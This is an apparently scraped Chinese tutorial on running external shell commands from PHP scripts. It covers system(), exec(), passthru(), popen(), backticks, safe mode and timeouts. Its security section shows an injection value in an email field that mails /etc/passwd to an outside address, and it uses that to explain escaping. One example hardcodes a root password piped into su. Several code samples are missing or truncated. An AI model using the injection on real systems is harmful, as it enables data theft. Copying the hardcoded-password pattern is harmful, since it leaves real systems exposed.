php作为一种服务器端的脚本语言，象编写简单，或者是复杂的动态网页这样的任务，它完全能够胜任。但事情不总是如此，有时为了实现某个功能，必须借助于操作系统的外部程序（或者称之为命令），这样可以做到事半功倍。
那么，是否可以在PHP脚本中调用外部命令呢？如果能，如何去做呢？有些什么方面的顾虑呢？相信你看了本文后，肯定能够回答这些问题了。
是否可以？
答案是肯定的。PHP和其它的程序设计语言一样，完全可以在程序内调用外部命令，并且是很简单的：只要用一个或几个函数即可。
前提条件
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由于PHP基本是用于WEB程序开发的，所以安全性成了人们考虑的一个重要方面。于是PHP的设计者们给PHP加了一个门：安全模式。如果运行在安全模式下，那么PHP脚本中将受到如下四个方面的限制：
执行外部命令
在打开文件时有些限制
连接MySQL数据库
基于HTTP的认证
在安全模式下，只有在特定目录中的外部程序才可以被执行，对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用safe_mode_exec_dir指令，或在编译PHP是加上--with-exec-dir选项来指定，默认是/usr/local/php/bin。
如果你调用一个应该可以输出结果的外部命令（意思是PHP脚本没有错误），得到的却是一片空白，那么很可能你的网管已经把PHP运行在安全模式下了。
如何做？
在PHP中调用外部命令，可以用如下三种方法来实现：
1） 用PHP提供的专门函数
PHP提供共了3个专门的执行外部命令的函数：system（），exec（），passthru（）。
system（）
原型：string system （string command [, int return_var]）
system（）函数很其它语言中的差不多，它执行给定的命令，输出和返回结果。第二个参数是可选的，用来得到命令执行后的状态码。
例子：
exec（）
原型：string exec （string command [, string array [, int return_var]]）
exec（）函数与system（）类似，也执行给定的命令，但不输出结果，而是返回结果的最后一行。虽然它只返回命令结果的最后一行，但用第二个参数array可以得到完整的结果，方法是把结果逐行追加到array的结尾处。所以如果array不是空的，在调用之前最好用unset（）最它清掉。只有指定了第二个参数时，才可以用第三个参数，用来取得命令执行的状态码。
例子：
passthru（）
原型：void passthru （string command [, int return_var]）
passthru（）只调用命令，不返回任何结果，但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru（）函数经常用来调用象pbmplus（Unix下的一个处理图片的工具，输出二进制的原始图片的流）这样的程序。同样它也可以得到命令执行的状态码。
例子：
2） 用popen（）函数打开进程
上面的方法只能简单地执行命令，却不能与命令交互。但有些时候必须向命令输入一些东西，如在增加Linux的系统用户时，要调用su来把当前用户换到root才行，而su命令必须要在命令行上输入root的密码。这种情况下，用上面提到的方法显然是不行的。
popen（）函数打开一个进程管道来执行给定的命令，返回一个文件句柄。既然返回的是一个文件句柄，那么就可以对它读和写了。在PHP3中，对这种句柄只能做单一的操作模式，要么写，要么读；从PHP4开始，可以同时读和写了。除非这个句柄是以一种模式（读或写）打开的，否则必须调用pclose（）函数来关闭它。
例子1：
例子2（本例来自PHP中国联盟网站http://www.phpx.com/show.php?d=col&i=51）：
/* PHP中如何增加一个系统用户
下面是一段例程，增加一个名字为james的用户，
root密码是 verygood。仅供参考
*/ $sucommand = "su --login root --command"; $useradd = "useradd "; $rootpasswd = "verygood"; $user = "james"; $user_add = sprintf（"%s \"%s %s\"",$sucommand,$useradd,$user）； $fp = @popen（$user_add,"w"）； @fputs（$fp,$rootpasswd）； @pclose（$fp）； ?>
3） 用反撇号（`，也就是键盘上ESC键下面的那个，和~在同一个上面）
这个方法以前没有归入PHP的文档，是作为一个秘技存在的。方法很简单，用两个反撇号把要执行的命令括起来作为一个表达式，这个表达式的值就是命令执行的结果。如：
'.$res.''; ?>这个脚本的输出就象：
hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考虑些什么？
要考虑两个问题：安全性和超时。
先看安全性。比如，你有一家小型的网上商店，所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件，让你的用户输入他们的EMAIL地址，然后把这个产品列表发给他们。假设你没有使用PHP的mail（）函数（或者从未听说过），你就调用Linux/Unix系统的mail程序来发送这个文件。程序就象这样：
用这段代码，一般的用户不会产生什么危险，但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址：
'--bla ; mail someone@domain.com < /etc/passwd ;'那么这条命令最终变成：
'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt'我相信，无论哪个网络管理人员见到这样的命令，都会吓出一身冷汗来。
幸好，PHP为我们提供了两个函数：EscapeShellCmd（）和EscapeShellArg（）。函数EscapeShellCmd把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的，象分号（），重定向（>）和从文件读入（
再来看看超时问题。如果要执行的命令要花费很长的时间，那么应该把这个命令放到系统的后台去运行。但在默认情况下，象system（）等函数要等到这个命令运行完才返回（实际上是要等命令的输出结果），这肯定会引起PHP脚本的超时。解决的办法是把命令的输出重定向到另外一个文件或流中，如：
/tmp/null &"）； ?>
